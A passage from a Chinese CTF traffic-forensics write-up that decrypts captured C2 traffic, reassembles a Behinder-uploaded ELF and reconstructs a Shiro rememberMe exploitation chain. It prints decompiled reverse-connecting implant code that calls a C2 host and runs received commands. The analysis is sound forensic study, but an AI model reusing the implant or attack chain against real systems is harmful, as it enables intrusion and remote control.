AES.MODE_CTR, counter=ctr) for idx, c in enumerate(chunks): dec = cipher_ctr.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") print("cfb:") cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) for idx, c in enumerate(chunks): dec = cipher_cfb.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") iv=key[:16] print(f"iv:key[:16]s") print("ctr:") ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big')) cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr) for idx, c in enumerate(chunks): dec = cipher_ctr.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") print("cfb:") cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) for idx, c in enumerate(chunks): dec = cipher_cfb.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") 发现没有可读数据: {collapse} {collapse-item label="代码部分 - 点击展开"} iv:0*16 ctr: 0: len31: b'\xdc\xcf@\x8fB9"\xb0\xa6\xbf\xc2\x1e\xb6Z\xeb_F\xa9wHg\xd4"w9[j\xb8}\xe0\xf9' 1: len36: b'K%\xd7+\xc2K\\A\xf3\x9b\xff&\xe0G\xe02\xbeLh\xe3\x90\xcf\xd1\xd3;\xd5\x0e \xcd\xda\xd9\xcb\xcc\x0b\xd2{' 2: len30: b'\x04\x8a\xbc\x83<\xdbA8\xf7zdk\xd7\xb7I\xf2~\x91\\],\xc1\x83\xaa\xc0\xc5-N\xfd\xa4' 3: len31: b'\xf8\x19\xc5\x83\xf7-\r*\xd4g\xd6QzX\xa1\x18\x14\xf6,\x1e\xb3f\x85"\xbb\x84H\x0cHz\xd2' 4: len48: b'\xe9\xb5\x887\xfc\x99\xb3I\x13_\x82\x14\xf1\xd4\x02\x86-\xa4\xa6`\x122\x83\x9aDFW\xecj\xb8\xect\x11\xc2\xf9\x86\x95\xdfYD1c\xbd\xba\xc2\x10\xdbg' 5: len43: b'\x00\xd8*\x1cf\xbf\xe0\x1e)\x1c+\x9b\x0bTN_,\x81\xe5\xfdU\x84BD\xc93\x86\xe0\x04~+\x06\xaa7\x9dqU+\xdf\t\xc5\xc2\xbe' 6: len110: b'~w\xdd4\xb39\xb1w\xf8/#N\x8d\xacf}m\xcf\xf03\xd9\x90\x01I\x95&qq\x9d\xbc.\xe5\x80~\xb6\xbb\xa9\x82\xf9\xe1\xf8\xc3\xf6JD\xcdr\x0e\xcafT\x14\xbed\xa1\x0f\x85\xaf\x01\xc0o\xc8\xeeI\xf6\xa8\xb8\xed\x95\x12\x13h\x16\xb9\xe9\n5\x8c\x03\xba\x05\xc1\xaa&P\x94\x00[n\xcf\xd1^ U\xbc^ v\\\x1e\xc6\xcd\x93L0P\x1cF\xd1;' 7: len105: b'\x9e,\x03F\x97\xae\xc4\xd6U\x05\xbe\xd7\x82i\xde*L\xadMNa\xe4\xa6\xf7!F\xe4y\xab\xe9\x9b\x1e\x98w\xd8\x94\xc9\x1a\xba\xec\x9cI\xd7\xeesfhV\xccR%\x95\xbbW\x85N\x08J\xe29\x8e"#IS\xca\xd0\xa2\xe7\xb8\x88\x8d4\xb1\x07\x06\xba\x18jt\xeeB\xcf8n\xc9\xa6\xcb;\x80\x1fz\xc9y\x9a\xed\\1E\xe5\x9a5\xab\xdbT' 8: len36: b'U|H\xd2\x0e\x1cN\t\xd2\x0e\xe3\x93[\x1c\xac[\xc6\x9f\xc7J\x16\x8f9\xd6\xc2\xd5W<\xee\xa9~\xf3\x0b\xfb\xdc\x02' 9: len31: b"|\xbb\xfc3\xae\xae\xab\xca\xd3eg0\t\xa3i\x12\xa7I&\x8b(\x1f=y\xc869'\xd0b\x9d" cfb: 0: len31: b'\xdc\xcf@\x8fB9"\xb0\xa6\xbf\xc2\x1e\xb6Z\xeb_\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d' 1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04" 2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me' 3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6' 4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03' 5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O' 6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2' 7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W' 8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88' 9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5' iv:ff*16 ctr: 0: len31: b'b\x7f\x8fa\xf5\xcfp\x04\xbfK\xb6\xd9\x0cl+\xd935\xff\xae\xc8\xc4e\x14\x11\r<\xae)\xb3\xdf' 1: len36: b'O\x10\x04\xa7\x92\xd8O\x93\xc4\xeb\xa6\x89\x9a\x05\xd9\x0cB\x90\xdbE7\r\xdb\x0c\xd8v\x9bc\xde\xe9\xcer\xde\xf6ht' 2: len30: b'Qp\xf8%\xfd\x94U\r*\xdf }\xab\xf6\xf9\x8a\xd5\xa5\xc0N;\x97\x16\x01\xee\xd7S\x0fw\xfb' 3: len31: b'\xf0\xab\x12\xacM_b\xd9m\n\x89\xb6\x9c\xfa\x96y\xc1\xb7\xccs\xc4\x95\xc8\x8d:{l4@s\x17' 4: len48: b'O\xc3\x83V\xd1\xf4\xef\x7f\xe8\xd0M\xa7=\r\xfb\xc2\xa9TO\xc1VKi\xb0\xfdT\xad\xf8\xdd\xd6K\xc9O\xech\xec\xe1\xf9R\xac\xcd+\xcb\xb3\x82W\x0eu' 5: len43: b'\xa6A\x8e|\x13Z\xb4\xc4\xc7\x8c\x8a\xa2\xae\xe7\x18\xfeoS\x89t|b\xc2;}\x97lU\xd9[_[\x04\x8c\xcd\x9f\x8c\xa4\xfa\xfe\xfd%\x1e' 6: len110: b'JI\xb2\xb6\xbe\xdd1\xdem\xa8\x19\xfe\xa9\xb6\x11\xb10&\xa0\x18\x7f\xa6L6L\x89\xc7\xfd\x9d 0\xf0v\x8b\xdc[\xdc+\xac\x98|\xc9\x9bcj\xa4\xc5_C\x05\x8c\x97\x85\xd6h\xf4\xae\xcayQ\x92\xe2\xd6S\xedg\x99=\xeen\xff\xcd\xce\xaa\x18\x06\xefc\xf5wALj\x8a\xcd\x9f\xf2L\xfd\xeew\x82\xbb\x8e\xf5\x1f\x91#\xf7qb.\x92\xf8\xc7\x97\xbeF\xabr' 7: len105: b'm<n2_\xb02\xa8a\x87\x8b\x8b\xf8b<\xdcH\xed4%\xee\xc4\xa4]5\xad,\xb7P\x1d\x87-QF6*\x0c\xce[`n\xa6fQ\xe9\x0b\t\xb9\xd3\xa8\xf2\x81ps\xc3\xda\x11\x0e\n\xf3\x94\x9f/\n`\x1d\xech\t\xfa$B\xbd\\\xc1\xc0\xe0\x87\x0c\xd0\xb2\x12\xc84$\x94B\xed\x84\xa1\xdd}obr~\xe8c\x95\x9b3a\xe9\xbb\xae' 8: len36: b'\x9a$\x8d\xb4N^\x17\xd4\xe6\xfe:\x16\xb9\xf8G\x07\xe9\\\xa9vd\xf0\x03\x90\x0eh\xf2\xea\xd5\xc7\x1c>\xd2\x1b\xb3W' 9: len31: b'Fq\x05e\x88\x00\x9dZ\xad\x8a\x06\x85\xa2\xe7y\x04\xba\xbb\x05\\V&\x985\x82\\T\xad\x05\x0c>' cfb: 0: len31: b'b\x7f\x8fa\xf5\xcfp\x04\xbfK\xb6\xd9\x0cl+\xd9\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d' 1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04" 2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me' 3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6' 4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03' 5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O' 6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2' 7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W' 8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88' 9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5' iv:key[:16]s ctr: 0: len31: b'\xb6\xcd\x88\xa9\xd5l\xe4`\xb0E\x00u)\xcf?\xa3\x86\xdf\xd4\xb0\x90=\xfe\xd3\xd58\x13)\xc5\x0e,' 1: len36: b'B\x1c"\xb0\xfd\xd8-\xe6\x99\xc9\xf76(\x93E\xa8\x06\xd2\xefg(4\xa0\xb8\xf2\xd6\x97\x08C\xd9e\x01*\x8au\xf6' 2: len30: b"\xe3\xcb\x99\x98'\x7f \xfa\x80\x14Y>}p\x00\xca\xd5C\xf0\xb7wuw\xec\xab\xb5\x9c\xfd\n<" 3: len31: b'$\xe5\xc9.\xbb\xceC\xacF\t\xde7\\\x96\xd1\xc7\xdf#\x87\xfd\xe31\x81<\xa4\x8d\x9f\xbd\x070\xbf' 4: len48: b'\xd7\xf2x"\x87M{\xf5y\x8d7\xed\xfb\x8c[UC@?\xd2\x08\xb0\x0b5E\x05/\xe8\xd80s\xfa\xb0N\xd4\xc6\x14\xc4\xb4^y\x0c\xa3-\x1e\x00I\x03' 5: len43: b"\xbb\x8a\xdf'f\xe0-\x98\x96%-\xdb>W\xaaS=R\xc3\xa6W\xf6{\x138\x86\xecGzO\xad(\xfdn#i\x9a\x9b\xb4\xb9%+5" 6: len110: b'0\xf8D\xf0%\x9eb\x128\xd5mB\xe3z\xfe\xaf\xaa\xbe!\x1c\xbf XUV|>\x87\x0bBCu\x12O\x98^,+\xeb\xffl\x80\x88\x8f\xe8\xfe\xa8\xb9f\xa1\x93\x94\x13\xfe\xc7\xa98\xa8\x8a\x10\xae\xa1\xe7bC\xa6J\x99\xd7JR\x85\xa5\n_\xb0\xbf\xa6D\xc8S\x00ae@"\x01\xb1\x8a\x16\xd4WY\x16,7\xa4_\xa0\xe3\xaei\x02H\x02\xe9u\xc1\x86.' 7: len105: b"\xe8\xe4\xe5'5Z\xbd\xdfo\x89\xcf\x8c\xe2\xda\x10\x86Y\xfd\xa2\x92\x18r\xea\xa1\x15\x9an\x13\xec\x89F\x93\xbb\x9a]d>\x02\x85\xccj\xf8\x97\xc9\x18\x00\xf2\x06\x1bB.\x96\xc0\xf6\xdf~\xee\x17\x8e\xcaiH\xdb\xf8\x98\xb9}\xd5x\x93M\xa1\x00\xb2f\xfc\xc7X'I\xd1$\x03A\xd2Z\xaah\xc5Q>\x05\xe1*\xeehS\xe4\xe0\xe7`\xf0l\xa6\x01" 8: len36: b"8\x01A\xe1\xea<O\x81{2\xdaw\xa6\xc6\x83uP'\x87F\xe0\x7f\xdd\xbd\x00\xdd{\xc1#\x98Ay\xce\xbe\xebb" 9: len31: b'\xb0\x94cs\xdfd\xbb\xc0E\xa9\x88F(\t}\x82\x92\xf7\x90g\xe82\x85\xf7r\xa3M\x0f\xc6\xa1.' cfb: 0: len31: b'\xb6\xcd\x88\xa9\xd5l\xe4`\xb0E\x00u)\xcf?\xa3\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d' 1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04" 2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me' 3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6' 4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03' 5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O' 6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2' 7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W' 8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88' 9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5' {/collapse-item} {/collapse} 最后尝试到GCM发现可能性很大,首先前两个发送的指令长度分别是$\frac{62}{2}=31$个字符和$\frac{60}{2}=30$个字符,如果对应前面发现的测试时惯用的指令pwd和ls,能够对应上剩下28个固定字符,符合GCM的特征。尝试使用GCM解密: import base64 import binascii from Crypto.Cipher import AES key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=") hex_str = """ 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) i = 0 chunk_idx = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] i += length nonce = chunk[:12] ciphertext = chunk[12:-16] tag = chunk[-16:] cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt_and_verify(ciphertext, tag) print(f"{chunk_idx}: len{len(plaintext)}: {plaintext}") chunk_idx += 1 得到: 0: len3: b'pwd' 1: len8: b'/var/tmp' 2: len2: b'ls' 3: len3: b'out' 4: len20: b'echo Congratulations' 5: len15: b'Congratulations' 6: len82: b'echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 7: len77: b'3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 8: len8: b'echo bye' 9: len3: b'bye' 将3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi丢进CyberChef,Base58+Base64解密后得到Flag:dart{d9850b27-85cb-4777-85e0-df0b78fdb722} 后续在尝试完整提取并逆向其中分片上传的二进制,因为发现payload本身有个blockIndex,用于索引当前是第几部分。 让AI写了个完整逆向分析Java class并寻找索引和内容并拼接输出的脚本: import os import re import base64 import subprocess import concurrent.futures from Crypto.Cipher import AES # --- 配置区 --- KEY = b"1f2c8075acd3d118" DIR = "export" # Wireshark 导出的 HTTP 对象所在文件夹 OUTPUT = "real_out.elf" # 最终合并生成的文件 CFR_JAR_PATH = "cfr.jar" # 替换为你下载的 cfr.jar 的实际文件名 MAX_WORKERS = 16 # 线程数:你可以根据 CPU 核心数调大,比如 16、32 def decrypt_to_class(data): try: cipher = AES.new(KEY, AES.MODE_ECB) dec = cipher.decrypt(base64.b64decode(data)) return dec[:-dec[-1]] except Exception: return b"" def decompile_and_extract(class_file_path): try: result = subprocess.run( ['java', '-jar', CFR_JAR_PATH, class_file_path], capture_output=True, text=True, check=True ) source_code = result.stdout index_pattern = r'blockIndex\s*(?:\+?=|=\s*(?:this\.)?blockIndex\s*\+)\s*"(\d+)"' content_pattern = r'content\s*(?:\+?=|=\s*(?:this\.)?content\s*\+)\s*"([A-Za-z0-9+/=]+)"' index_match = re.search(index_pattern, source_code) content_match = re.search(content_pattern, source_code) if index_match and content_match: return int(index_match.group(1)), content_match.group(1) except Exception as e: pass return None, None def process_single_file(fname): """ 单个线程执行的任务:读取、解密、写临时文件、反编译、提取、清理临时文件 """ path = os.path.join(DIR, fname) with open(path, "rb") as f: body = f.read().strip() java_class_bytes = decrypt_to_class(body) if java_class_bytes.startswith(b"\xca\xfe\xba\xbe"): # 确保每个线程的临时文件名唯一,防止冲突 temp_class = f"temp_{fname}.class" with open(temp_class, "wb") as f: f.write(java_class_bytes) block_idx, content_b64 = decompile_and_extract(temp_class) # 清理临时文件 if os.path.exists(temp_class): os.remove(temp_class) if block_idx is not None and content_b64 is not None: try: actual_chunk = base64.b64decode(content_b64) return block_idx, actual_chunk, fname except Exception as e: return None, f"解码异常: {e}", fname return None, "无效的 Class 或解密失败", fname def main(): files = [f for f in os.listdir(DIR) if os.path.isfile(os.path.join(DIR, f))] print(f"[*] 找到 {len(files)} 个文件。启动 {MAX_WORKERS} 个线程疯狂反编译中...") chunks_dict = {} # 启动线程池 with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor: # 提交所有任务 future_to_file = {executor.submit(process_single_file, fname): fname for fname in files} # as_completed 会在某个线程完成时立刻 yield,可以实时看到进度 for future in concurrent.futures.as_completed(future_to_file): block_idx, result_data, fname = future.result() if block_idx is not None: chunks_dict[block_idx] = result_data print(f"[+] {fname} -> 提取成功: 块索引 [{block_idx}]") elif "无效" not in result_data: # 过滤掉非目标流量的报错干扰,只打印真的出错了的 print(f"[-] {fname} -> 提取失败: {result_data}") if not chunks_dict: print("\n[-] 未提取到任何有效数据块。") return print(f"\n[*] 所有 {len(chunks_dict)} 块提取完毕。开始按 blockIndex 精准重组...") sorted_indices = sorted(chunks_dict.keys()) with open(OUTPUT, "wb") as f: for idx in sorted_indices: print(f"[*] 写入块索引 [{idx}]") f.write(chunks_dict[idx]) print(f"[!] 完美重组完成!生成文件:{OUTPUT}") if __name__ == "__main__": main() 发现是一个Pyinstaller打包的elf。解压,逆向其中的inspect.pyc,得到: # Visit https://www.lddgo.net/string/pyc-compile-decompile for more information # Version : Python 3.9 import os import socket import struct import subprocess import argparse import settings import base64 from cryptography.hazmat.primitives.ciphers.aead import AESGCM SERVER_LISTEN_IP = '10.1.243.155' SERVER_LISTEN_PORT = 7788 IMPLANT_CONNECT_IP = '10.1.243.155' IMPLANT_CONNECT_PORT = 7788 SERVER_LISTEN_NUM = 20 _aesgcm = None def set_aes_key(key_b64 = None): global _aesgcm key = base64.b64decode(key_b64) if len(key) not in (16, 24, 32): raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节(对应 128, 192, 256 位)') _aesgcm = None(key) def encrypt_data(data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化,请先调用 set_aes_key()') nonce = None.urandom(12) ciphertext = _aesgcm.encrypt(nonce, data, None) return nonce + ciphertext def decrypt_data(encrypted_data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化,请先调用 set_aes_key()') if None(encrypted_data) < 28: raise ValueError('加密数据太短,无法包含 nonce 和认证标签') nonce = None[:12] ciphertext_with_tag = encrypted_data[12:] plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None) return plaintext def exec_cmd(command, code_flag): command = command.decode('utf-8') # WARNING: Decompyle incomplete def send_data(conn, data): if type(data) == str: data = data.encode('utf-8') encrypted_data = settings.encrypt_data(data) cmd_len = struct.pack('i', len(encrypted_data)) conn.send(cmd_len) conn.send(encrypted_data) def recv_data(sock, buf_size = (1024,)): x = sock.recv(4) all_size = struct.unpack('i', x)[0] recv_size = 0 encrypted_data = b'' if recv_size < all_size: encrypted_data += sock.recv(buf_size) recv_size += buf_size continue data = settings.decrypt_data(encrypted_data) return data def main(): sock = socket.socket() sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT)) code_flag = 'gbk' if os.name == 'nt' else 'utf-8' # WARNING: Decompyle incomplete if __name__ == '__main__': parser = argparse.ArgumentParser('', **('description',)) parser.add_argument('--aes-key', True, '', **('required', 'help')) args = parser.parse_args() settings.set_aes_key(args.aes_key) main() 也证明了猜想,确实是GCM (不过这一看就是ai出的罢) 梳理 完整的链条应该是这样的: sequenceDiagram participant Attacker as 攻击者 (Attacker / C2 Server) participant WebServer as Web 应用层 (Shiro / Behinder WebShell) participant OS as 底层系统 (Linux OS) rect rgb(240, 248, 255) note right of Attacker: 阶段一:Shiro 漏洞利用与 RCE Attacker->>WebServer: 持续爆破 rememberMe Cookie (CVE-2016-4437) WebServer-->>Attacker: 302 跳转 (爆破成功获取 AES Key) Attacker->>WebServer: 发送 RCE Payload (Authorization头传递命令) WebServer->>OS: 派生进程执行命令 (whoami, ls -la 等) OS-->>WebServer: 返回标准输出结果 (root 等) WebServer-->>Attacker: 返回 Base64 加密的命令结果 end rect rgb(255, 240, 245) note right of Attacker: 阶段二:注入内存马与后渗透探测 Attacker->>WebServer: POST 请求注入 Behinder(冰蝎) 内存马 WebServer-->>Attacker: 返回注入成功标识 (->|Success|<-) Attacker->>WebServer: 访问 /favicondemo.ico 发送 AES 加密的 Java Class WebServer->>OS: 读取环境变量、网络信息、遍历 /tmp 与 /var/tmp 目录 OS-->>WebServer: 返回底层系统状态和文件列表 WebServer-->>Attacker: 返回 AES 加密的探测结果 end rect rgb(240, 255, 240) note right of Attacker: 阶段三:分片上传与执行持久化木马 Attacker->>WebServer: 多次发包分片上传二进制 ELF 木马 WebServer->>OS: 将 Payload 块追加写入 /var/tmp/out Attacker->>WebServer: 发送 Hash 校验请求 WebServer->>OS: 计算落地文件 /var/tmp/out 的 MD5 Hash OS-->>WebServer: 校验通过 WebServer-->>Attacker: 返回 Hash 值确认文件完整性 Attacker->>WebServer: 发送命令 chmod +x out 及 ./out --aes-key ... WebServer->>OS: 赋予执行权限并带密钥参数运行木马程序 end rect rgb(255, 253, 230) note right of Attacker: 阶段四:TCP 反连与深层控制 OS->>Attacker: Pyinstaller 木马向 C2 发起 TCP 反向连接 (10.1.243.155:7788) Attacker->>OS: 发送基于 AES-GCM 加密的指令 (pwd, ls, echo) OS-->>Attacker: 返回加密的执行结果 (最终输出 Flag) end 阶段一:Shiro 漏洞利用与 RCE 验证 攻击者通过发送包含 rememberMe Cookie 的 GET 请求,成功爆破出 Apache Shiro 的 AES 密钥。 随后,攻击者利用 Authorization 头传递加密命令,Web 服务器执行了 whoami 等命令,并返回了 Base64 加密的执行结果 root。 阶段二:植入内存 WebShell 与初步控制 攻击者向 / 路径发送携带 Java 类的 POST 请求,成功注入冰蝎(Behinder)内存马,并将 C2 通信信道建立在 /favicondemo.ico 路径上。 攻击者通过该信道下发经过 AES 加密的 Java Class,利用 Web 服务层读取了底层系统的环境变量、IP 信息(172.18.0.2),并执行了基础系统命令(如 ps -ef)。 阶段三:恶意木马上传与落地执行 攻击者通过 WebShell,利用 blockIndex 和 blockSize 参数将一个 ELF 二进制文件分片追加写入到系统的 /var/tmp/out 路径下,并进行了 Hash 校验(a0275c1593af1adb)。 攻击者下发 Shell 命令 chmod +x out 赋予文件执行权限,并通过 ./out --aes-key ... 在底层系统运行了该木马。 阶段四:TCP 反连获取 Flag 底层的 Python 恶意木马运行后,直接绕过 Web 层面,主动向攻击者的 C2 服务器(10.1.243.155:7788)发起 TCP 连接。 双方切换至 AES-GCM 算法进行通信,攻击者下发 pwd、ls、echo Congratulations 等远控指令,并在最终的回包中获取到了 Flag。 总的来说还是挺有意思(?
2026年03月15日
319 阅读
0 评论
6 点赞
1
2
...
7